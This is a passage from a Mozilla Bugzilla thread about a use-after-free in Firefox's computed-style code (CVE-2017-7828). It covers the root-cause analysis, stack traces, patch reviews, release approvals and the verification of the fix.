  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9825==ABORTING
(Reporter)

Comment 1

2 years ago
Posted file crash.html
(Reporter)

Comment 2

2 years ago
Posted file scripts.html
Group: core-security → layout-core-security
Component: DOM: Core & HTML → CSS Parsing and Computation
(Assignee)

Comment 3

2 years ago
This is <marquee> XBL scripts running. This looks a lot like bug 1371259...
Kinda does, but that fix was backported to ESR52...  I'll take a look into what's going on here.
OK.  This is NOT the same thing as bug 1371259.  The dead thing is not the computed style object; it's the presshell.

In particular, when returning from GetStyleContextForElement we drop the ref to the presshell, and that kills mPresShell.  Why, I'm not sure yet; we have comments about how this is supposed to be safe because we flushed up front.
Alright, so here's what happens, at least on 52.  We land in nsComputedDOMStyle::UpdateCurrentStyleSources.  aNeedsLayoutFlush is true.  So we go ahead and flush layout, fine so far.  Then we set mPresShell to document->GetShell().

Then we discover that we need to actually resolve style, so we call nsComputedDOMStyle::GetStyleContextForElement.  This does a style flush, which ought to be a no-op, because we already flushed.  But it's not.  Instead, we get this stack:

#43 0x00007efe3bac5be3 in PresShell::FireResizeEvent() (this=0x268d66630400) at /home/bzbarsky/mozilla/esr52/mozilla/layout/base/nsPresShell.cpp:2038
#44 0x00007efe3bacc61b in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) (this=0x268d66630400, aFlush=...)
    at /home/bzbarsky/mozilla/esr52/mozilla/layout/base/nsPresShell.cpp:4122
#45 0x00007efe3bacc35d in PresShell::FlushPendingNotifications(mozFlushType) (this=0x268d66630400, aType=Flush_Style)
    at /home/bzbarsky/mozilla/esr52/mozilla/layout/base/nsPresShell.cpp:4054
#46 0x00007efe3b8c3dc2 in nsComputedDOMStyle::GetStyleContextForElement(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType) (aElement=0x7efe449be1f0, aPseudo=0x0, aPresShell=0x268d66630400, aStyleType=nsComputedDOMStyle::eAll)
    at /home/bzbarsky/mozilla/esr52/mozilla/layout/style/nsComputedDOMStyle.cpp:422

and then a resize event runs, we run script, and all bets are off; by the time all that is done mPresShell is dead.  Then we use it, because we think the second flush has to be a no-op.

Bug 1370072 comment 3 basically describes the horrible thing that resize events do.  I went ahead and filed bug 1407031 on that.

Anyway, for purposes of this bug, we should probably just reget mShell, and probably mOuterFrame/mInnerFrame, after the nsComputedDOMStyle::GetStyleContextForElement call...  Cameron, does that make sense?

I expect all branches are affected, though tip may be non-stylo-only.
Flags: needinfo?(cam)
Alernately, we could hold a strong ref to mPresShell or equivalent and bail out of it gets destroyed in the nsIPresShell::IsDestroying sense...
Tracking across all current versions (though it would be good to have confirmation of which versions are definitely affected)
Even if the pres shell is not IsDestroying(), the mInnerFrame / mOuterFrame pointers could be out of date, is that right?  That's kind of annoying.

What if we use GetStyleContextForElementNoFlush instead?  Is it a big deal if the styles we return don't take into account whatever the resize event will do?  (I'm guessing no?)
Flags: needinfo?(cam) → needinfo?(bzbarsky)
Oh, good catch on the frame pointers being out of date.

> What if we use GetStyleContextForElementNoFlush instead?

The biggest problem is that there are potentially two presshells involved: the one for mDocument and the one returned by GetPresShellForContent().  We're flushing the former up front.  In GetStyleContext, we might flush the latter.  The whole thing is a mess.  :(

I guess the simple thing to do would be to flush both up front if they're different.
Flags: needinfo?(bzbarsky)
This testcase crashes for me on trunk with or without Stylo enabled.

Regression range:
INFO: Last good revision: 4d63dde701b47b8661ab7990f197b6b60e543839 (2016-05-27)
INFO: First bad revision: ea15028498ed95677844fb7f30be5efcaf8b2621 (2016-05-28)
INFO: Pushlog:
https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=4d63dde701b47b8661ab7990f197b6b60e543839&tochange=ea15028498ed95677844fb7f30be5efcaf8b2621
Has Regression Range: --- → yes
Version: 52 Branch → 49 Branch
Priority: -- → P2
(In reply to Ryan VanderMeulen [:RyanVM] from comment #11)
> This testcase crashes for me on trunk with or without Stylo enabled.
> 
> Regression range:
> INFO: Last good revision: 4d63dde701b47b8661ab7990f197b6b60e543839
> (2016-05-27)
> INFO: First bad revision: ea15028498ed95677844fb7f30be5efcaf8b2621
> (2016-05-28)
> INFO: Pushlog:
> https://hg.mozilla.org/mozilla-central/
> pushloghtml?fromchange=4d63dde701b47b8661ab7990f197b6b60e543839&tochange=ea15
> 028498ed95677844fb7f30be5efcaf8b2621
Blocks: 881832
(in case somebody doesn't follow the dependency chain all of the way through, bug 881832 was also a fix for a timing attack in bug 928187)
Assignee: nobody → matt.woodrow
Flags: sec-bounty?
Keywords: testcase
Boris, were you going to write a patch for this? This really isn't code I know well.
Flags: needinfo?(bzbarsky)
(Assignee)

Comment 15

2 years ago
Posted patch Like thisSplinter Review
I haven done all the ASAN setup, but this is how it should look like...

This prevents the shell from dying by not flushing it again (triggering the resize events and so on).
Flags: needinfo?(bzbarsky)
Attachment #8920746 - Flags: review?(bzbarsky)
(Assignee)

Comment 16

2 years ago
Just a bit easier to reason about, I think, and also a bit less risky, keeping the flush only when necessary.
Attachment #8920746 - Attachment is obsolete: true
Attachment #8920746 - Flags: review?(bzbarsky)
Attachment #8920748 - Flags: review?(bzbarsky)
(Assignee)

Comment 17

2 years ago
Err, and I just stuck one extra FIXME that shouldn't appear in the final patch, of course. In any case I've verified this fixes the crash.
Comment on attachment 8920748 [details] [diff] [review]
With a bit less action at a distance.

So with this patch, we could have a non-null mInner/OuterFrame but MustReresolveStyle() testing true, and then we end up reaching this code and ending up with dead mInner/OuterFrame after it runs, right?

Seems like we could hit this case asking for computed width from document A on an element that is rendered under first-line in document B, with a pending restyle that will blow away the relevant frames.
Attachment #8920748 - Flags: review?(bzbarsky) → review-
(Assignee)

Comment 19

2 years ago
Comment on attachment 8920746 [details] [diff] [review]
Like this

You're totally right Boris. Seems like the first patch should do it then.
Attachment #8920746 - Attachment is obsolete: false
Attachment #8920746 - Flags: review?(bzbarsky)
(Assignee)

Updated

2 years ago
Attachment #8920748 - Attachment is obsolete: true
Comment on attachment 8920746 [details] [diff] [review]
Like this

r=me
Attachment #8920746 - Flags: review?(bzbarsky) → review+
(Assignee)

Comment 21

2 years ago
Comment on attachment 8920746 [details] [diff] [review]
Like this

Let me know if I'm supposed to request approval for each affected branch too.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Probably not terribly easy. It's not easy to see a security issue straight from the patch, and the conditions to make the security issue happen are somewhat tricky.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No

Which older supported branches are affected by this flaw?
All

If not all supported branches, which bug introduced the flaw?
N/A

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

They'll be fairly easy I think. This code hasn't changed that much, and I expect the patch to apply cleanly, or close to it.

How likely is this patch to cause regressions; how much testing does it need?
Not much, I think. This is just fixing an edge case where multiple flushes of the same shell aren't idempotent. We could add some automated tests post-landing, I think.
Attachment #8920746 - Flags: sec-approval?
Attachment #8920746 - Flags: approval-mozilla-esr52?
You should ask for Beta approval as well for 57.

I'm going to ping the Release Management team given how close to shipping we are before I give sec-approval.
Flags: needinfo?(rkothari)
Flags: needinfo?(lhenry)
(Assignee)

Comment 23

2 years ago
Comment on attachment 8920746 [details] [diff] [review]
Like this

Approval Request Comment
[Feature/Bug causing the regression]: bug 881832.
[User impact if declined]: Security issues.
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]:
[Needs manual test from QE? If yes, steps to reproduce]: no
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: not very risky
[Why is the change risky/not risky?]: "Just" does some work upfront to avoid invalidating data we store mid computation, but doesn't change any surrounding code other than that, so I think the behavior changes should mostly be limited to cases like the test-case.
[String changes made/needed]: none
Attachment #8920746 - Flags: approval-mozilla-release?
Attachment #8920746 - Flags: approval-mozilla-beta?
Though we already wontfixed this issue for 56, we are prepping a dot release for 56.  I'd like to leave it wontfixed since we only have a couple of weeks left in the release cycle.  Dan, what do you think?
Flags: needinfo?(lhenry) → needinfo?(dveditz)
We shouldn't shoehorn this into a 56.0.x. We've fixed a whole bunch of bugs since shipping 56 and there's nothing particularly special or more-easily-reverse-engineered about this one. Let it have the beta-baking we have left and release in a couple weeks with all the others.
Flags: needinfo?(dveditz)
Hi Al, I believe we still have time to land sec-crits/highs in Beta57 as RC week begins Nov 6th. Please go ahead and approve for both beta and esr52 if you'd like.
Flags: needinfo?(rkothari)
Comment on attachment 8920746 [details] [diff] [review]
Like this

sec-approval, beta, and ESR52 approval given.
Attachment #8920746 - Flags: sec-approval?
Attachment #8920746 - Flags: sec-approval+
Attachment #8920746 - Flags: approval-mozilla-esr52?
Attachment #8920746 - Flags: approval-mozilla-esr52+
Attachment #8920746 - Flags: approval-mozilla-beta?
Attachment #8920746 - Flags: approval-mozilla-beta+
(Assignee)

Comment 30

2 years ago
Fun stuff, so those are flushes that should be idempotent, but clearly aren't... sigh

Boris, it's 1AM for me, but I'm moderately sure that removing the presShellForContent != mPresShell check is going to "fix" the tests... if that looks sane to you and you still have cycles left today, feel free to land it with that check removed.

Otherwise, I can look into it tomorrow.
Flags: needinfo?(bzbarsky)
(Assignee)

Comment 31

2 years ago
The other thing we can also do is land a MOZ_RELEASE_ASSERT(!presShell->IsDestroying()) to all branches, then fix it with more calm, of course... The out of date frames problem is not a sec issue I think, due to the frame poisoning stuff.
(Assignee)

Comment 32

2 years ago
So given that patch was on inbound, I did a couple try runs:

Patch as written:

  https://treeherder.mozilla.org/#/jobs?repo=try&revision=8e53552166d7a71ee9e42d5bfd479a03d7cf3a87

Second patch proposed (just for the sake of seeing what happened, really):

  https://treeherder.mozilla.org/#/jobs?repo=try&revision=6522ffb16b4ccde3037aefeafb703a25f3e3b94d

With the fixup proposed in comment 30:

  https://treeherder.mozilla.org/#/jobs?repo=try&revision=57691a4b9b8bc000d4373bac4fa3d50b93b82e3c

Hiro, Birtles, looks like something is borked with animations in stylo, and this double flush in the same presShell in GetComputedStyle was wallpapering it. Mind taking a look?

Meanwhile, I'm not sure what's best... Seems like what's preventing me from landing the patch are stylo bugs, so the patch as written should work for ESR. I can figure out the failure in the third patch and see what's going on and land it, or land the release assertion...
Flags: needinfo?(hikezoe)
Flags: needinfo?(bbirtles)
(Assignee)

Comment 33

2 years ago
Ok, false alarm, I think... I mean, this is not a "flush is not idempotent" bug. This is an "our logic to avoid flushing is busted".

In particular, in that third patch set, the test failing is the test for bug 1363805. When I fix it, like:

  // In the FlushTarget::ParentOnly case we've proved that we don't need to do
  // any restyling, so don't bother.
  nsCOMPtr<nsIPresShell> presShellForContent = GetPresShellForContent(mContent);
  if (presShellForContent && target != FlushTarget::ParentOnly) {
    presShellForContent->FlushPendingNotifications(FlushType::Style);
  } else {
    MOZ_ASSERT(presShellForContent == mPresShell);
  }

Then that test starts passing, as expected, but all the same test failures come back again.

So the logic that detects those restyles for animations is busted, not the style flush in general, which is good news, because that patch is 58-only.
(Assignee)

Comment 34

2 years ago
So that means that:

 (1) We should still land the patch that got reviewed in branches, I think.
 (2) We should fix the ParentOnly logic.
(Assignee)

Comment 35

2 years ago
I don't understand why EffectCompositor::HasPendingStyleUpdatesFor only needs to check the element itself, and not any of its ancestors. That looks very wrong.
(In reply to Emilio Cobos Álvarez [:emilio] from comment #35)
> I don't understand why EffectCompositor::HasPendingStyleUpdatesFor only
> needs to check the element itself, and not any of its ancestors. That looks
> very wrong.

Oh right.  Actually it does not match what the comment says.  

  // If any ancestor has pending animation, flush it.
  nsPresContext* context = shell->GetPresContext();                             
  if (context->EffectCompositor()->HasPendingStyleUpdatesFor(aElement)) {       
    return true;                                                                
  }
I did look the failure on test_csstransition-transitionproperty.html, it works if the following change is applied.

diff --git a/dom/animation/test/css-transitions/file_csstransition-transitionproperty.html b/dom/animation/test/css-transitions/file_csstransition-transitionproperty.html
--- a/dom/animation/test/css-transitions/file_csstransition-transitionproperty.html
+++ b/dom/animation/test/css-transitions/file_csstransition-transitionproperty.html
@@ -10,7 +10,7 @@ test(function(t) {
 
   // Add a transition
   div.style.left = '0px';
-  getComputedStyle(div).transitionProperty;
+  getComputedStyle(div).left;
   div.style.transition = 'all 100s';
   div.style.left = '100px';

I don't know much about the optimization what was done in bug 1363805,  bug as for this test case, I'd say we should fix the test case itself.
(Assignee)

Comment 38

2 years ago
(In reply to Hiroyuki Ikezoe (:hiro) from comment #37)
>    // Add a transition
>    div.style.left = '0px';
> -  getComputedStyle(div).transitionProperty;
> +  getComputedStyle(div).left;
>    div.style.transition = 'all 100s';
>    div.style.left = '100px';
> 
> I don't know much about the optimization what was done in bug 1363805,  bug
> as for this test case, I'd say we should fix the test case itself.

The test-case should work without that change. That change forces a flush, which "fixes" it, but it shouldn't be needed. The test-case is correct as far as I can tell (we should check other browsers though)...

I think this is the real problem:

After looking a bit more into it, it's not only what I mentioned re. EffectCompositor not looking for ancestors, but the fact that for animations to get triggered, we rely on the traversal machinery, and thus the flush.

So bug 1363805 is completely busted :(

Basically, what the tests that are failing are doing is creating a <div style="animation: foo 1s"></div>, append to the doc, and expect the animations to apply.

The element has no Servo data and hasn't been traversed, but we still skip the flush because it's right that no element in the document needs an style update... So we never trigger the animation before resolving the style, which means that we return the unanimated style...
(Assignee)

Comment 39

2 years ago
I've got a fix. Gah, this is annoying.
(In reply to Emilio Cobos Álvarez [:emilio] from comment #38)
> (In reply to Hiroyuki Ikezoe (:hiro) from comment #37)
> >    // Add a transition
> >    div.style.left = '0px';
> > -  getComputedStyle(div).transitionProperty;
> > +  getComputedStyle(div).left;
> >    div.style.transition = 'all 100s';
> >    div.style.left = '100px';
> > 
> > I don't know much about the optimization what was done in bug 1363805,  bug
> > as for this test case, I'd say we should fix the test case itself.
> 
> The test-case should work without that change. That change forces a flush,
> which "fixes" it, but it shouldn't be needed. The test-case is correct as
> far as I can tell (we should check other browsers though)...

Yeah, it seems you are right. chrome does trigger the transition.

> I think this is the real problem:
> 
> After looking a bit more into it, it's not only what I mentioned re.
> EffectCompositor not looking for ancestors, but the fact that for animations
> to get triggered, we rely on the traversal machinery, and thus the flush.
> 
> So bug 1363805 is completely busted :(
> 
> Basically, what the tests that are failing are doing is creating a <div
> style="animation: foo 1s"></div>, append to the doc, and expect the
> animations to apply.
> 
> The element has no Servo data and hasn't been traversed, but we still skip
> the flush because it's right that no element in the document needs an style
> update... So we never trigger the animation before resolving the style,
> which means that we return the unanimated style...

I think this issue is not related to animations, for example;

element.style.left = '0px';
getComputedStyle(element).transitionProperty;

This code does not trigger any traversals as far as I can see with RUST_LOG=debug.

Instead getComputedStyle(element).left triggers traversals.

Oh, good to hear that Emilo fixed this. :)
Flags: needinfo?(hikezoe)
(Assignee)

Comment 41

2 years ago
(In reply to Hiroyuki Ikezoe (:hiro) from comment #40)
> I think this issue is not related to animations, for example;
> 
> element.style.left = '0px';
> getComputedStyle(element).transitionProperty;
> 
> This code does not trigger any traversals as far as I can see with
> RUST_LOG=debug.
> 
> Instead getComputedStyle(element).left triggers traversals.

Right, the difference is that `.left` is a layout-dependent property, and triggers an unconditional flush. Not triggering traversals is exactly the optimization that bug 1363805 implemented, it just didn't account for the side-effect of triggering animations.
(Assignee)

Comment 42

2 years ago
This fixes it. See the commit message for details. Hiro, Cam is away, do you think you can review it?

Also, note that this patch is trunk-only, in the rest the previous patch should apply fine and work fine.
Flags: needinfo?(emilio)
Attachment #8921838 - Flags: review?(hikezoe)
(Assignee)

Comment 43

2 years ago
(I guess now that I figured that out I'm not scared about non-idempotent flushes anymore...)
Flags: needinfo?(bzbarsky)
Flags: needinfo?(bbirtles)
Comment on attachment 8921838 [details] [diff] [review]
Fix detection of animations to avoid flush.

Review of attachment 8921838 [details] [diff] [review]:
-----------------------------------------------------------------

Looks reasonable to me.  Thanks!

::: layout/style/nsComputedDOMStyle.cpp
@@ +111,4 @@
>    MOZ_ASSERT(aContent);
>    nsIContent* node = aContent;
>    while (node) {
> +    if (node->IsElement()) {

We can also check MayHaveAnimations() here.
Attachment #8921838 - Flags: review?(hikezoe) → review+
(In reply to Hiroyuki Ikezoe (:hiro) from comment #44)
> Comment on attachment 8921838 [details] [diff] [review]
> Fix detection of animations to avoid flush.
> 
> Review of attachment 8921838 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> Looks reasonable to me.  Thanks!
> 
> ::: layout/style/nsComputedDOMStyle.cpp
> @@ +111,4 @@
> >    MOZ_ASSERT(aContent);
> >    nsIContent* node = aContent;
> >    while (node) {
> > +    if (node->IsElement()) {
> 
> We can also check MayHaveAnimations() here.

Oh, never mind. We do it in EffectSet::GetEffectSet().
(Assignee)

Comment 47

2 years ago
Birtles reviewed this with me as I wrote this. This should make the tests green. Let me verify it and I'll start landing this.
Attachment #8921884 - Flags: review+
(Assignee)

Comment 48

2 years ago
Ryan landed this morning the first patch in beta and it's green as expected.

The patches here are also green, so will land them as soon as https://github.com/servo/servo/pull/19016 merges into autoland.
This'll need a rebased patch for ESR52.
Flags: needinfo?(emilio)
(Assignee)

Comment 51

2 years ago
Posted patch ESR patch. (obsolete) — Splinter Review
Flags: needinfo?(emilio)
(Assignee)

Comment 52

2 years ago
Attachment #8921950 - Attachment is obsolete: true
https://hg.mozilla.org/mozilla-central/rev/0b1f15ab849b
https://hg.mozilla.org/mozilla-central/rev/ece6798a15ba
Status: NEW → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla58
Group: layout-core-security → core-security-release
Depends on: 1412252
Flags: sec-bounty? → sec-bounty+
Comment on attachment 8920746 [details] [diff] [review]
Like this

Letting this ride to release with 57 based on comment 25.
Attachment #8920746 - Flags: approval-mozilla-release? → approval-mozilla-release-
Whiteboard: [adv-main57+][adv-esr52.5+]
Alias: CVE-2017-7828
Confirmed issue on Fx56.0.2.
Verified fixed on Fx57.0b14 and Fx52.5.0esr.
Status: RESOLVED → VERIFIED
Flags: qe-verify+
Whiteboard: [adv-main57+][adv-esr52.5+] → [adv-main57+][adv-esr52.5+][post-critsmash-triage]
I have managed to reproduce the issue mentioned in comment 0 using Firefox 58.0a1 (BuildId:20171008060810).

This issue is no longer reproducible using Firefox 57.0.3 (BuildId:20171217111436), 58.0b12 (BuildId:20171215145727), 59.0a1 (BuildId:20171217094207) and 52.5.3 esr (BuildId:20171217192058) ASAN builds on Ubuntu 16.04 64bit.
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.